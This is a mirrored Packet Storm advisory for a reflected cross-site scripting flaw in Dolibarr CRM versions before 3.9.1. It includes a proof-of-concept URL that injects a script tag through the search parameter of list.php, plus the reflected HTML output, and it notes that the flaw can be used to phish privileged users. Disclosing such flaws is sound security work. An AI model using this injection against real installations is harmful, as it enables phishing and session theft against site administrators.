Lucene search
K

Dolibarr CRM Cross Site Scripting

🗓️ 22 Jun 2016 00:00:00Reported by David SilveiroType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Dolibarr CRM < 3.9.1 - Reflective XSS Vulnerability, insufficient sanitization in search functio

Code
`# Exploit Title: Dolibarr CRM < 3.9.1 - Reflective XSS Vulnerability  
# Exploit Author: David Silveiro   
# Exploit Author Github: github.com/davidsilveiro  
# Exploit Author Twitter: twitter.com/david_silveiro   
# Vendor Homepage: https://www.dolibarr.org  
# Software Link: https://sourceforge.net/projects/dolibarr/files/  
# Date: Zero Day  
  
  
Dolibarr ERP is a modern CRM to manage your company.It's opensource software,   
designed for small and medium companies, foundations and freelancers.  
  
The issue lyes with insufficient sanitization when a user makes use of the search  
function provided, and thus able to inject malicious JS to be used inhand with  
a phishing attack direct towards higher previliged user.  
  
POC:  
  
http://127.0.0.1/societe/list.php?sall=<script>alert()<%2Fscript>  
  
<form name="formfilter" action="/societe/list.php" method="post">  
<input type="hidden" value="4a7a89e8a1f2f1fa55a6420ecb115954" name="token"></input>  
<input id="formfilteraction" type="hidden" value="list" name="formfilteraction"></input>  
<input type="hidden" value="s.nom" name="sortfield"></input>  
<input type="hidden" value="ASC" name="sortorder"></input>  
  
Search criteria '  
  
<strong>  
<script>  
  
alert() <-------  
  
</script>  
</strong>  
  
' into fields Third party name, Alias name, Custom…  
  
<table class="liste "></table>  
</form>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation